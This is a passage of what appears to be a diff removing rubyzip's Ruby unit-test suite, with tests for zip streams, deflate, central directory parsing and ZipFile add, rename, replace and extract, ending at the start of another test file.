'#{filename}' is different from contents of string stored in '#{stringFile}'") - else - assert_equals(expected, actual) - end - end - end - - def assertStreamContents(zis, testZipFile) - assert(zis != nil) - testZipFile.entryNames.each { - |entryName| - assertNextEntry(entryName, zis) - } - assert_equals(nil, zis.getNextEntry) - end - - def assertTestZipContents(testZipFile) - ZipInputStream.open(testZipFile.zipName) { - |zis| - assertStreamContents(zis, testZipFile) - } - end - - def assertEntryContents(zipFile, entryName, filename = entryName.to_s) - zis = zipFile.getInputStream(entryName) - assertEntryContentsForStream(filename, zis, entryName) - ensure - zis.close if zis - end -end - - - -class ZipInputStreamTest < RUNIT::TestCase - include AssertEntry - - def test_new - zis = ZipInputStream.new(TestZipFile::TEST_ZIP2.zipName) - assertStreamContents(zis, TestZipFile::TEST_ZIP2) - zis.close - end - - def test_openWithBlock - ZipInputStream.open(TestZipFile::TEST_ZIP2.zipName) { - |zis| - assertStreamContents(zis, TestZipFile::TEST_ZIP2) - } - end - - def test_openWithoutBlock - zis = ZipInputStream.open(TestZipFile::TEST_ZIP2.zipName) - assertStreamContents(zis, TestZipFile::TEST_ZIP2) - end - - def test_incompleteReads - ZipInputStream.open(TestZipFile::TEST_ZIP2.zipName) { - |zis| - entry = zis.getNextEntry - assert_equals(TestZipFile::TEST_ZIP2.entryNames[0], entry.name) - assert zis.gets.length > 0 - entry = zis.getNextEntry - assert_equals(TestZipFile::TEST_ZIP2.entryNames[1], entry.name) - assert_equals(0, entry.size) - assert_equals(nil, zis.gets) - entry = zis.getNextEntry - assert_equals(TestZipFile::TEST_ZIP2.entryNames[2], entry.name) - assert zis.gets.length > 0 - entry = zis.getNextEntry - assert_equals(TestZipFile::TEST_ZIP2.entryNames[3], entry.name) - assert zis.gets.length > 0 - } - end - -end - -class TestFiles - RANDOM_ASCII_FILE1 = "randomAscii1.txt" - RANDOM_ASCII_FILE2 = "randomAscii2.txt" - RANDOM_ASCII_FILE3 = "randomAscii3.txt" - RANDOM_BINARY_FILE1 = "randomBinary1.bin" - RANDOM_BINARY_FILE2 = "randomBinary2.bin" - - EMPTY_TEST_DIR = "emptytestdir" - - ASCII_TEST_FILES = [ RANDOM_ASCII_FILE1, RANDOM_ASCII_FILE2, RANDOM_ASCII_FILE3 ] - BINARY_TEST_FILES = [ RANDOM_BINARY_FILE1, RANDOM_BINARY_FILE2 ] - TEST_DIRECTORIES = [ EMPTY_TEST_DIR ] - TEST_FILES = [ ASCII_TEST_FILES, BINARY_TEST_FILES, EMPTY_TEST_DIR ].flatten! - - def TestFiles.createTestFiles(recreate) - if (recreate || - ! (TEST_FILES.inject(true) { |accum, element| accum && File.exists?(element) })) - - ASCII_TEST_FILES.each_with_index { - |filename, index| - createRandomAscii(filename, 1E4 * (index+1)) - } - - BINARY_TEST_FILES.each_with_index { - |filename, index| - createRandomBinary(filename, 1E4 * (index+1)) - } - - ensureDir(EMPTY_TEST_DIR) - end - end - - private - def TestFiles.createRandomAscii(filename, size) - File.open(filename, "wb") { - |file| - while (file.tell < size) - file << rand - end - } - end - - def TestFiles.createRandomBinary(filename, size) - File.open(filename, "wb") { - |file| - while (file.tell < size) - file << rand.to_a.pack("V") - end - } - end - - def TestFiles.ensureDir(name) - if File.exists?(name) - return if File.stat(name).directory? - File.delete(name) - end - Dir.mkdir(name) - end - -end - -# For representation and creation of -# test data -class TestZipFile - attr_accessor :zipName, :entryNames, :comment - - def initialize(zipName, entryNames, comment = "") - @zipName=zipName - @entryNames=entryNames - @comment = comment - end - - def TestZipFile.createTestZips(recreate) - files = Dir.entries(".") - if (recreate || - ! (files.index(TEST_ZIP1.zipName) && - files.index(TEST_ZIP2.zipName) && - files.index(TEST_ZIP3.zipName) && - files.index(TEST_ZIP4.zipName) && - files.index("empty.txt") && - files.index("short.txt") && - files.index("longAscii.txt") && - files.index("longBinary.bin") )) - raise "failed to create test zip '#{TEST_ZIP1.zipName}'" unless - system("zip #{TEST_ZIP1.zipName} ziptest.rb") - raise "failed to remove entry from '#{TEST_ZIP1.zipName}'" unless - system("zip #{TEST_ZIP1.zipName} -d ziptest.rb") - - File.open("empty.txt", "w") {} - - File.open("short.txt", "w") { |file| file << "ABCDEF" } - ziptestTxt="" - File.open("ziptest.rb") { |file| ziptestTxt=file.read } - File.open("longAscii.txt", "w") { - |file| - while (file.tell < 1E5) - file << ziptestTxt - end - } - - testBinaryPattern="" - File.open("empty.zip") { |file| testBinaryPattern=file.read } - testBinaryPattern *= 4 - - File.open("longBinary.bin", "wb") { - |file| - while (file.tell < 3E5) - file << testBinaryPattern << rand - end - } - raise "failed to create test zip '#{TEST_ZIP2.zipName}'" unless - system("zip #{TEST_ZIP2.zipName} #{TEST_ZIP2.entryNames.join(' ')}") - - # without bash system interprets everything after echo as parameters to - # echo including | zip -z ... - raise "failed to add comment to test zip '#{TEST_ZIP2.zipName}'" unless - system("bash -c \"echo #{TEST_ZIP2.comment} | zip -z #{TEST_ZIP2.zipName}\"") - - raise "failed to create test zip '#{TEST_ZIP3.zipName}'" unless - system("zip #{TEST_ZIP3.zipName} #{TEST_ZIP3.entryNames.join(' ')}") - - raise "failed to create test zip '#{TEST_ZIP4.zipName}'" unless - system("zip #{TEST_ZIP4.zipName} #{TEST_ZIP4.entryNames.join(' ')}") - end - rescue - raise $!.to_s + - "\n\nziptest.rb requires the Info-ZIP program 'zip' in the path\n" + - "to create test data. If you don't have it you can download\n" + - "the necessary test files at http://sf.net/projects/rubyzip." - end - - TEST_ZIP1 = TestZipFile.new("empty.zip", []) - TEST_ZIP2 = TestZipFile.new("4entry.zip", %w{ longAscii.txt empty.txt short.txt longBinary.bin}, - "my zip comment") - TEST_ZIP3 = TestZipFile.new("test1.zip", %w{ file1.txt }) - TEST_ZIP4 = TestZipFile.new("zipWithDir.zip", [ "file1.txt", - TestFiles::EMPTY_TEST_DIR]) -end - - -class AbstractOutputStreamTest < RUNIT::TestCase - class TestOutputStream - include AbstractOutputStream - - attr_accessor :buffer - - def initialize - @buffer = "" - end - - def << (data) - @buffer << data - self - end - end - - def setup - @outputStream = TestOutputStream.new - - @origCommaSep = $, - @origOutputSep = $\ - end - - def teardown - $, = @origCommaSep - $\ = @origOutputSep - end - - def test_write - count = @outputStream.write("a little string") - assert_equals("a little string", @outputStream.buffer) - assert_equals("a little string".length, count) - - count = @outputStream.write(". a little more") - assert_equals("a little string. a little more", @outputStream.buffer) - assert_equals(". a little more".length, count) - end - - def test_print - $\ = nil # record separator set to nil - @outputStream.print("hello") - assert_equals("hello", @outputStream.buffer) - - @outputStream.print(" world.") - assert_equals("hello world.", @outputStream.buffer) - - @outputStream.print(" You ok ", "out ", "there?") - assert_equals("hello world. You ok out there?", @outputStream.buffer) - - $\ = "\n" - @outputStream.print - assert_equals("hello world. You ok out there?\n", @outputStream.buffer) - - @outputStream.print("I sure hope so!") - assert_equals("hello world. You ok out there?\nI sure hope so!\n", @outputStream.buffer) - - $, = "X" - @outputStream.buffer = "" - @outputStream.print("monkey", "duck", "zebra") - assert_equals("monkeyXduckXzebra\n", @outputStream.buffer) - - $\ = nil - @outputStream.buffer = "" - @outputStream.print(20) - assert_equals("20", @outputStream.buffer) - end - - def test_printf - @outputStream.printf("%d %04x", 123, 123) - assert_equals("123 007b", @outputStream.buffer) - end - - def test_putc - @outputStream.putc("A") - assert_equals("A", @outputStream.buffer) - @outputStream.putc(65) - assert_equals("AA", @outputStream.buffer) - end - - def test_puts - @outputStream.puts - assert_equals("\n", @outputStream.buffer) - - @outputStream.puts("hello", "world") - assert_equals("\nhello\nworld\n", @outputStream.buffer) - - @outputStream.buffer = "" - @outputStream.puts("hello\n", "world\n") - assert_equals("hello\nworld\n", @outputStream.buffer) - - @outputStream.buffer = "" - @outputStream.puts(["hello\n", "world\n"]) - assert_equals("hello\nworld\n", @outputStream.buffer) - - @outputStream.buffer = "" - @outputStream.puts(["hello\n", "world\n"], "bingo") - assert_equals("hello\nworld\nbingo\n", @outputStream.buffer) - - @outputStream.buffer = "" - @outputStream.puts(16, 20, 50, "hello") - assert_equals("16\n20\n50\nhello\n", @outputStream.buffer) - end -end - - -module CrcTest - def runCrcTest(compressorClass) - str = "Here's a nice little text to compute the crc for! Ho hum, it is nice nice nice nice indeed." - fakeOut = AbstractOutputStreamTest::TestOutputStream.new - - deflater = compressorClass.new(fakeOut) - deflater << str - assert_equals(0x919920fc, deflater.crc) - end -end - - - -class PassThruCompressorTest < RUNIT::TestCase - include CrcTest - - def test_size - File.open("dummy.txt", "wb") { - |file| - compressor = PassThruCompressor.new(file) - - assert_equals(0, compressor.size) - - t1 = "hello world" - t2 = "" - t3 = "bingo" - - compressor << t1 - assert_equals(compressor.size, t1.size) - - compressor << t2 - assert_equals(compressor.size, t1.size + t2.size) - - compressor << t3 - assert_equals(compressor.size, t1.size + t2.size + t3.size) - } - end - - def test_crc - runCrcTest(PassThruCompressor) - end -end - -class DeflaterTest < RUNIT::TestCase - include CrcTest - - def test_outputOperator - txt = loadFile("ziptest.rb") - deflate(txt, "deflatertest.bin") - inflatedTxt = inflate("deflatertest.bin") - assert_equals(txt, inflatedTxt) - end - - private - def loadFile(fileName) - txt = nil - File.open(fileName, "rb") { |f| txt = f.read } - end - - def deflate(data, fileName) - File.open(fileName, "wb") { - |file| - deflater = Deflater.new(file) - deflater << data - deflater.finish - assert_equals(deflater.size, data.size) - file << "trailing data for zlib with -MAX_WBITS" - } - end - - def inflate(fileName) - txt = nil - File.open(fileName, "rb") { - |file| - inflater = Inflater.new(file) - txt = inflater.read - } - end - - def test_crc - runCrcTest(Deflater) - end -end - -class ZipOutputStreamTest < RUNIT::TestCase - include AssertEntry - - TEST_ZIP = TestZipFile::TEST_ZIP2.clone - TEST_ZIP.zipName = "output.zip" - - def test_new - zos = ZipOutputStream.new(TEST_ZIP.zipName) - zos.comment = TEST_ZIP.comment - writeTestZip(zos) - zos.close - assertTestZipContents(TEST_ZIP) - end - - def test_open - ZipOutputStream.open(TEST_ZIP.zipName) { - |zos| - zos.comment = TEST_ZIP.comment - writeTestZip(zos) - } - assertTestZipContents(TEST_ZIP) - end - - def test_writingToClosedStream - assertIOErrorInClosedStream { |zos| zos << "hello world" } - assertIOErrorInClosedStream { |zos| zos.puts "hello world" } - assertIOErrorInClosedStream { |zos| zos.write "hello world" } - end - - def test_cannotOpenFile - name = TestFiles::EMPTY_TEST_DIR - begin - zos = ZipOutputStream.open(name) - rescue Exception - assert($!.kind_of?(Errno::EISDIR) || # Linux - $!.kind_of?(Errno::EEXIST) || # Windows/cygwin - $!.kind_of?(Errno::EACCES), # Windows - "Expected Errno::EISDIR (or on win/cygwin: Errno::EEXIST), but was: #{$!.type}") - end - end - - def assertIOErrorInClosedStream - assert_exception(IOError) { - zos = ZipOutputStream.new("test_putOnClosedStream.zip") - zos.close - yield zos - } - end - - def writeTestZip(zos) - TEST_ZIP.entryNames.each { - |entryName| - zos.putNextEntry(entryName) - File.open(entryName, "rb") { |f| zos.write(f.read) } - } - end -end - - - -module Enumerable - def compareEnumerables(otherEnumerable) - otherAsArray = otherEnumerable.to_a - index=0 - each_with_index { - |element, index| - return false unless yield(element, otherAsArray[index]) - } - return index+1 == otherAsArray.size - end -end - - -class ZipCentralDirectoryEntryTest < RUNIT::TestCase - - def test_readFromStream - File.open("testDirectory.bin", "rb") { - |file| - entry = ZipEntry.readCDirEntry(file) - - assert_equals("longAscii.txt", entry.name) - assert_equals(ZipEntry::DEFLATED, entry.compressionMethod) - assert_equals(106490, entry.size) - assert_equals(3784, entry.compressedSize) - assert_equals(0xfcd1799c, entry.crc) - assert_equals("", entry.comment) - - entry = ZipEntry.readCDirEntry(file) - assert_equals("empty.txt", entry.name) - assert_equals(ZipEntry::STORED, entry.compressionMethod) - assert_equals(0, entry.size) - assert_equals(0, entry.compressedSize) - assert_equals(0x0, entry.crc) - assert_equals("", entry.comment) - - entry = ZipEntry.readCDirEntry(file) - assert_equals("short.txt", entry.name) - assert_equals(ZipEntry::STORED, entry.compressionMethod) - assert_equals(6, entry.size) - assert_equals(6, entry.compressedSize) - assert_equals(0xbb76fe69, entry.crc) - assert_equals("", entry.comment) - - entry = ZipEntry.readCDirEntry(file) - assert_equals("longBinary.bin", entry.name) - assert_equals(ZipEntry::DEFLATED, entry.compressionMethod) - assert_equals(1000024, entry.size) - assert_equals(70847, entry.compressedSize) - assert_equals(0x10da7d59, entry.crc) - assert_equals("", entry.comment) - - entry = ZipEntry.readCDirEntry(file) - assert_equals(nil, entry) -# Fields that are not check by this test: -# version made by 2 bytes -# version needed to extract 2 bytes -# general purpose bit flag 2 bytes -# last mod file time 2 bytes -# last mod file date 2 bytes -# compressed size 4 bytes -# uncompressed size 4 bytes -# disk number start 2 bytes -# internal file attributes 2 bytes -# external file attributes 4 bytes -# relative offset of local header 4 bytes - -# file name (variable size) -# extra field (variable size) -# file comment (variable size) - - } - end - - def test_ReadEntryFromTruncatedZipFile - fragment="" - File.open("testDirectory.bin") { |f| fragment = f.read(12) } # cdir entry header is at least 46 bytes - fragment.extend(IOizeString) - entry = ZipEntry.new - entry.readCDirEntry(fragment) - fail "ZipError expected" - rescue ZipError - end - -end - -class ZipCentralDirectoryTest < RUNIT::TestCase - - def test_readFromStream - File.open(TestZipFile::TEST_ZIP2.zipName, "rb") { - |zipFile| - cdir = ZipCentralDirectory.readFromStream(zipFile) - - assert_equals(TestZipFile::TEST_ZIP2.entryNames.size, cdir.size) - assert(cdir.compareEnumerables(TestZipFile::TEST_ZIP2.entryNames) { - |cdirEntry, testEntryName| - cdirEntry.name == testEntryName - }) - assert_equals(TestZipFile::TEST_ZIP2.comment, cdir.comment) - } - end - - def test_readFromInvalidStream - File.open("ziptest.rb", "rb") { - |zipFile| - cdir = ZipCentralDirectory.new - cdir.readFromStream(zipFile) - } - fail "ZipError expected!" - rescue ZipError - end - - def test_ReadFromTruncatedZipFile - fragment="" - File.open("testDirectory.bin") { |f| fragment = f.read } - fragment.slice!(12) # removed part of first cdir entry. eocd structure still complete - fragment.extend(IOizeString) - entry = ZipCentralDirectory.new - entry.readFromStream(fragment) - fail "ZipError expected" - rescue ZipError - end - - def test_writeToStream - entries = [ ZipEntry.new("file.zip", "flimse", "myComment", "somethingExtra"), - ZipEntry.new("file.zip", "secondEntryName"), - ZipEntry.new("file.zip", "lastEntry.txt", "Has a comment too") ] - cdir = ZipCentralDirectory.new(entries, "my zip comment") - File.open("cdirtest.bin", "wb") { |f| cdir.writeToStream(f) } - cdirReadback = ZipCentralDirectory.new - File.open("cdirtest.bin", "rb") { |f| cdirReadback.readFromStream(f) } - - assert_equals(cdir.entries, cdirReadback.entries) - end - - def test_equality - cdir1 = ZipCentralDirectory.new([ ZipEntry.new("file.zip", "flimse", nil, - "somethingExtra"), - ZipEntry.new("file.zip", "secondEntryName"), - ZipEntry.new("file.zip", "lastEntry.txt") ], - "my zip comment") - cdir2 = ZipCentralDirectory.new([ ZipEntry.new("file.zip", "flimse", nil, - "somethingExtra"), - ZipEntry.new("file.zip", "secondEntryName"), - ZipEntry.new("file.zip", "lastEntry.txt") ], - "my zip comment") - cdir3 = ZipCentralDirectory.new([ ZipEntry.new("file.zip", "flimse", nil, - "somethingExtra"), - ZipEntry.new("file.zip", "secondEntryName"), - ZipEntry.new("file.zip", "lastEntry.txt") ], - "comment?") - cdir4 = ZipCentralDirectory.new([ ZipEntry.new("file.zip", "flimse", nil, - "somethingExtra"), - ZipEntry.new("file.zip", "lastEntry.txt") ], - "comment?") - assert_equals(cdir1, cdir1) - assert_equals(cdir1, cdir2) - - assert(cdir1 != cdir3) - assert(cdir2 != cdir3) - assert(cdir2 != cdir3) - assert(cdir3 != cdir4) - - assert(cdir3 != "hello") - end -end - - -class BasicZipFileTest < RUNIT::TestCase - include AssertEntry - - def setup - @zipFile = ZipFile.new(TestZipFile::TEST_ZIP2.zipName) - @testEntryNameIndex=0 - end - - def nextTestEntryName - retVal=TestZipFile::TEST_ZIP2.entryNames[@testEntryNameIndex] - @testEntryNameIndex+=1 - return retVal - end - - def test_entries - assert_equals(TestZipFile::TEST_ZIP2.entryNames, @zipFile.entries.map {|e| e.name} ) - end - - def test_each - @zipFile.each { - |entry| - assert_equals(nextTestEntryName, entry.name) - } - assert_equals(4, @testEntryNameIndex) - end - - def test_foreach - ZipFile.foreach(TestZipFile::TEST_ZIP2.zipName) { - |entry| - assert_equals(nextTestEntryName, entry.name) - } - assert_equals(4, @testEntryNameIndex) - end - - def test_getInputStream - @zipFile.each { - |entry| - assertEntry(nextTestEntryName, @zipFile.getInputStream(entry), - entry.name) - } - assert_equals(4, @testEntryNameIndex) - end - - def test_getInputStreamBlock - fileAndEntryName = @zipFile.entries.first.name - @zipFile.getInputStream(fileAndEntryName) { - |zis| - assertEntryContentsForStream(fileAndEntryName, - zis, - fileAndEntryName) - } - end -end - -class CommonZipFileFixture < RUNIT::TestCase - include AssertEntry - - EMPTY_FILENAME = "emptyZipFile.zip" - - TEST_ZIP = TestZipFile::TEST_ZIP2.clone - TEST_ZIP.zipName = "4entry_copy.zip" - - def setup - File.delete(EMPTY_FILENAME) if File.exists?(EMPTY_FILENAME) - File.copy(TestZipFile::TEST_ZIP2.zipName, TEST_ZIP.zipName) - end -end - -class ZipFileTest < CommonZipFileFixture - - def test_createFromScratch - comment = "a short comment" - - zf = ZipFile.new(EMPTY_FILENAME, ZipFile::CREATE) - zf.comment = comment - zf.close - - zfRead = ZipFile.new(EMPTY_FILENAME) - assert_equals(comment, zfRead.comment) - assert_equals(0, zfRead.entries.length) - end - - def test_add - srcFile = "ziptest.rb" - entryName = "newEntryName.rb" - assert(File.exists? srcFile) - zf = ZipFile.new(EMPTY_FILENAME, ZipFile::CREATE) - zf.add(entryName, srcFile) - zf.close - - zfRead = ZipFile.new(EMPTY_FILENAME) - assert_equals("", zfRead.comment) - assert_equals(1, zfRead.entries.length) - assert_equals(entryName, zfRead.entries.first.name) - AssertEntry.assertContents(srcFile, - zfRead.getInputStream(entryName) { |zis| zis.read }) - end - - def test_addExistingEntryName - assert_exception(ZipEntryExistsError) { - ZipFile.open(TEST_ZIP.zipName) { - |zf| - zf.add(zf.entries.first.name, "ziptest.rb") - } - } - end - - def test_addExistingEntryNameReplace - gotCalled = false - replacedEntry = nil - ZipFile.open(TEST_ZIP.zipName) { - |zf| - replacedEntry = zf.entries.first.name - zf.add(replacedEntry, "ziptest.rb") { gotCalled = true; true } - } - assert(gotCalled) - ZipFile.open(TEST_ZIP.zipName) { - |zf| - assertContains(zf, replacedEntry, "ziptest.rb") - } - end - - def test_addDirectory - ZipFile.open(TEST_ZIP.zipName) { - |zf| - zf.add(TestFiles::EMPTY_TEST_DIR, TestFiles::EMPTY_TEST_DIR) - } - ZipFile.open(TEST_ZIP.zipName) { - |zf| - dirEntry = zf.entries.detect { |e| e.name == TestFiles::EMPTY_TEST_DIR+"/" } - assert(dirEntry.isDirectory) - } - end - - def test_remove - entryToRemove, *remainingEntries = TEST_ZIP.entryNames - - File.copy(TestZipFile::TEST_ZIP2.zipName, TEST_ZIP.zipName) - - zf = ZipFile.new(TEST_ZIP.zipName) - assert(zf.entries.map { |e| e.name }.include?(entryToRemove)) - zf.remove(entryToRemove) - assert(! zf.entries.map { |e| e.name }.include?(entryToRemove)) - assert_equals(zf.entries.map {|x| x.name }.sort, remainingEntries.sort) - zf.close - - zfRead = ZipFile.new(TEST_ZIP.zipName) - assert(! zfRead.entries.map { |e| e.name }.include?(entryToRemove)) - assert_equals(zfRead.entries.map {|x| x.name }.sort, remainingEntries.sort) - zfRead.close - end - - - def test_rename - entryToRename, *remainingEntries = TEST_ZIP.entryNames - - zf = ZipFile.new(TEST_ZIP.zipName) - assert(zf.entries.map { |e| e.name }.include? entryToRename) - - newName = "changed name" - assert(! zf.entries.map { |e| e.name }.include?(newName)) - - zf.rename(entryToRename, newName) - assert(zf.entries.map { |e| e.name }.include? newName) - - zf.close - - zfRead = ZipFile.new(TEST_ZIP.zipName) - assert(zfRead.entries.map { |e| e.name }.include? newName) - zfRead.close - end - - def test_renameToExistingEntry - oldEntries = nil - ZipFile.open(TEST_ZIP.zipName) { |zf| oldEntries = zf.entries } - - assert_exception(ZipEntryExistsError) { - ZipFile.open(TEST_ZIP.zipName) { - |zf| - zf.rename(zf.entries[0], zf.entries[1].name) - } - } - - ZipFile.open(TEST_ZIP.zipName) { - |zf| - assert_equals(oldEntries.map{ |e| e.name }, zf.entries.map{ |e| e.name }) - } - end - - def test_renameToExistingEntryOverwrite - oldEntries = nil - ZipFile.open(TEST_ZIP.zipName) { |zf| oldEntries = zf.entries } - - gotCalled = false - ZipFile.open(TEST_ZIP.zipName) { - |zf| - zf.rename(zf.entries[0], zf.entries[1].name) { gotCalled = true; true } - } - - assert(gotCalled) - oldEntries.delete_at(0) - ZipFile.open(TEST_ZIP.zipName) { - |zf| - assert_equals(oldEntries.map{ |e| e.name }, - zf.entries.map{ |e| e.name }) - } - end - - def test_renameNonEntry - nonEntry = "bogusEntry" - targetEntry = "targetEntryName" - zf = ZipFile.new(TEST_ZIP.zipName) - assert(! zf.entries.include?(nonEntry)) - assert_exception(ZipNoSuchEntryError) { - zf.rename(nonEntry, targetEntry) - } - zf.commit - assert(! zf.entries.include?(targetEntry)) - ensure - zf.close - end - - def test_renameEntryToExistingEntry - entry1, entry2, *remaining = TEST_ZIP.entryNames - zf = ZipFile.new(TEST_ZIP.zipName) - assert_exception(ZipEntryExistsError) { - zf.rename(entry1, entry2) - } - ensure - zf.close - end - - def test_replace - unchangedEntries = TEST_ZIP.entryNames.dup - entryToReplace = unchangedEntries.delete_at(2) - newEntrySrcFilename = "ziptest.rb" - - zf = ZipFile.new(TEST_ZIP.zipName) - zf.replace(entryToReplace, newEntrySrcFilename) - - zf.close - - zfRead = ZipFile.new(TEST_ZIP.zipName) - AssertEntry::assertContents(newEntrySrcFilename, - zfRead.getInputStream(entryToReplace) { |is| is.read }) - zfRead.close - end - - def test_replaceNonEntry - entryToReplace = "nonExistingEntryname" - ZipFile.open(TEST_ZIP.zipName) { - |zf| - assert_exception(ZipNoSuchEntryError) { - zf.replace(entryToReplace, "ziptest.rb") - } - } - end - - def test_commit - newName = "renamedFirst" - zf = ZipFile.new(TEST_ZIP.zipName) - oldName = zf.entries.first - zf.rename(oldName, newName) - zf.commit - - zfRead = ZipFile.new(TEST_ZIP.zipName) - assert(zfRead.entries.detect { |e| e.name == newName } != nil) - assert(zfRead.entries.detect { |e| e.name == oldName } == nil) - zfRead.close - - zf.close - end - - # This test tests that after commit, you - # can delete the file you used to add the entry to the zip file - # with - def test_commitUseZipEntry - File.copy(TestFiles::RANDOM_ASCII_FILE1, "okToDelete.txt") - zf = ZipFile.open(TEST_ZIP.zipName) - zf.add("okToDelete.txt", "okToDelete.txt") - assertContains(zf, "okToDelete.txt") - zf.commit - File.move("okToDelete.txt", "okToDeleteMoved.txt") - assertContains(zf, "okToDelete.txt", "okToDeleteMoved.txt") - end - -# def test_close -# zf = ZipFile.new(TEST_ZIP.zipName) -# zf.close -# assert_exception(IOError) { -# zf.extract(TEST_ZIP.entryNames.first, "hullubullu") -# } -# end - - def test_compound1 - renamedName = "renamedName" - originalEntries = [] - begin - zf = ZipFile.new(TEST_ZIP.zipName) - originalEntries = zf.entries.dup - - assertNotContains(zf, TestFiles::RANDOM_ASCII_FILE1) - zf.add(TestFiles::RANDOM_ASCII_FILE1, - TestFiles::RANDOM_ASCII_FILE1) - assertContains(zf, TestFiles::RANDOM_ASCII_FILE1) - - zf.rename(zf.entries[0], renamedName) - assertContains(zf, renamedName) - - TestFiles::BINARY_TEST_FILES.each { - |filename| - zf.add(filename, filename) - assertContains(zf, filename) - } - - assertContains(zf, originalEntries.last.to_s) - zf.remove(originalEntries.last.to_s) - assertNotContains(zf, originalEntries.last.to_s) - - ensure - zf.close - end - begin - zfRead = ZipFile.new(TEST_ZIP.zipName) - assertContains(zfRead, TestFiles::RANDOM_ASCII_FILE1) - assertContains(zfRead, renamedName) - TestFiles::BINARY_TEST_FILES.each { - |filename| - assertContains(zfRead, filename) - } - assertNotContains(zfRead, originalEntries.last.to_s) - ensure - zfRead.close - end - end - - def test_compound2 - begin - zf = ZipFile.new(TEST_ZIP.zipName) - originalEntries = zf.entries.dup - - originalEntries.each { - |entry| - zf.remove(entry) - assertNotContains(zf, entry) - } - assert(zf.entries.empty?) - - TestFiles::ASCII_TEST_FILES.each { - |filename| - zf.add(filename, filename) - assertContains(zf, filename) - } - assert_equals(zf.entries.map { |e| e.name }, TestFiles::ASCII_TEST_FILES) - - zf.rename(TestFiles::ASCII_TEST_FILES[0], "newName") - assertNotContains(zf, TestFiles::ASCII_TEST_FILES[0]) - assertContains(zf, "newName") - ensure - zf.close - end - begin - zfRead = ZipFile.new(TEST_ZIP.zipName) - asciiTestFiles = TestFiles::ASCII_TEST_FILES.dup - asciiTestFiles.shift - asciiTestFiles.each { - |filename| - assertContains(zf, filename) - } - - assertContains(zf, "newName") - ensure - zfRead.close - end - end - - private - def assertContains(zf, entryName, filename = entryName) - assert(zf.entries.detect { |e| e.name == entryName} != nil, "entry #{entryName} not in #{zf.entries.join(', ')} in zip file #{zf}") - assertEntryContents(zf, entryName, filename) if File.exists?(filename) - end - - def assertNotContains(zf, entryName) - assert(zf.entries.detect { |e| e.name == entryName} == nil, "entry #{entryName} in #{zf.entries.join(', ')} in zip file #{zf}") - end -end - -class ZipFileExtractTest < CommonZipFileFixture - EXTRACTED_FILENAME = "extEntry" - ENTRY_TO_EXTRACT, *REMAINING_ENTRIES = TEST_ZIP.entryNames.reverse - - def setup - super - File.delete(EXTRACTED_FILENAME) if File.exists?(EXTRACTED_FILENAME) - end - - def test_extract - ZipFile.open(TEST_ZIP.zipName) { - |zf| - zf.extract(ENTRY_TO_EXTRACT, EXTRACTED_FILENAME) - - assert(File.exists? EXTRACTED_FILENAME) - AssertEntry::assertContents(EXTRACTED_FILENAME, - zf.getInputStream(ENTRY_TO_EXTRACT) { |is| is.read }) - } - end - - def test_extractExists - writtenText = "written text" - File.open(EXTRACTED_FILENAME, "w") { |f| f.write(writtenText) } - - assert_exception(ZipDestinationFileExistsError) { - ZipFile.open(TEST_ZIP.zipName) { - |zf| - zf.extract(zf.entries.first, EXTRACTED_FILENAME) - } - } - File.open(EXTRACTED_FILENAME, "r") { - |f| - assert_equals(writtenText, f.read) - } - end - - def test_extractExistsOverwrite - writtenText = "written text" - File.open(EXTRACTED_FILENAME, "w") { |f| f.write(writtenText) } - - gotCalled = false - ZipFile.open(TEST_ZIP.zipName) { - |zf| - zf.extract(zf.entries.first, EXTRACTED_FILENAME) { gotCalled = true; true } - } - - assert(gotCalled) - File.open(EXTRACTED_FILENAME, "r") { - |f| - assert(writtenText != f.read) - } - end - - def test_extractNonEntry - zf = ZipFile.new(TEST_ZIP.zipName) - assert_exception(ZipNoSuchEntryError) { zf.extract("nonExistingEntry", "nonExistingEntry") } - ensure - zf.close if zf - end - - def test_extractNonEntry2 - outFile = "outfile" - assert_exception(ZipNoSuchEntryError) { - zf = ZipFile.new(TEST_ZIP.zipName) - nonEntry = "hotdog-diddelidoo" - assert(! zf.entries.include?(nonEntry)) - zf.extract(nonEntry, outFile) - zf.close - } - assert(! File.exists?(outFile)) - end - -end - -class ZipFileExtractDirectoryTest < CommonZipFileFixture - TEST_OUT_NAME = "emptyOutDir" - - def openZip(&aProc) - assert(aProc != nil) - ZipFile.open(TestZipFile::TEST_ZIP4.zipName, &aProc) - end - - def extractTestDir(&aProc) - openZip { - |zf| - zf.extract(TestFiles::EMPTY_TEST_DIR, TEST_OUT_NAME, &aProc) - } - end - - def setup - super - - Dir.rmdir(TEST_OUT_NAME) if File.directory? TEST_OUT_NAME - File.delete(TEST_OUT_NAME) if File.exists? TEST_OUT_NAME - end - - def test_extractDirectory - extractTestDir - assert(File.directory? TEST_OUT_NAME) - end - - def test_extractDirectoryExistsAsDir - Dir.mkdir TEST_OUT_NAME - extractTestDir - assert(File.directory? TEST_OUT_NAME) - end - - def test_extractDirectoryExistsAsFile - File.open(TEST_OUT_NAME, "w") { |f| f.puts "something" } - assert_exception(ZipDestinationFileExistsError) { extractTestDir } - end - - def test_extractDirectoryExistsAsFileOverwrite - File.open(TEST_OUT_NAME, "w") { |f| f.puts "something" } - gotCalled = false - extractTestDir { - |entry, destPath| - gotCalled = true - assert_equals(TEST_OUT_NAME, destPath) - assert(entry.isDirectory) - true - } - assert(gotCalled) - assert(File.directory? TEST_OUT_NAME) - end -end - - -TestFiles::createTestFiles(ARGV.index("recreate") != nil || - ARGV.index("recreateonly") != nil) -TestZipFile::createTestZips(ARGV.index("recreate") != nil || - ARGV.index("recreateonly") != nil) -exit if ARGV.index("recreateonly") != nil - -#require 'runit/cui/testrunner' -#RUNIT::CUI::TestRunner.run(ZipFileTest.suite) - -# Copyright (C) 2002 Thomas Sondergaard -# rubyzip is free software; you can redistribute it and/or -# modify it under the terms of the ruby license. -#!/usr/bin/env ruby - -$VERBOSE = true - -require 'rubyunit' -require 'zip' - -include Zip - -Dir.chdir "test" - -class AbstractInputStreamTest < RUNIT::TestCase - # AbstractInputStream subclass that provides a read method - - TEST_LINES = [ "Hello world#{$/}", - "this is the second line#{$/}", - "this is the last line"] - TEST_STRING = TEST_LINES.join - class TestAbstractInputStream - include AbstractInputStream - def initialize(aString) - @contents = aString - @readPointer = 0 - end - - def read(charsToRead) - retVal=@contents[@readPointer, charsToRead] - @readPointer+=charsToRead - return retVal - end - - def produceInput - read(100) - end - - def inputFinished? - @contents[@readPointer] == nil - end - end - - def setup - @io = TestAbstractInputStream.new(TEST_STRING) - end - - def test_gets - assert_equals(TEST_LINES[0], @io.gets) - assert_equals(TEST_LINES[1], @io.gets) - 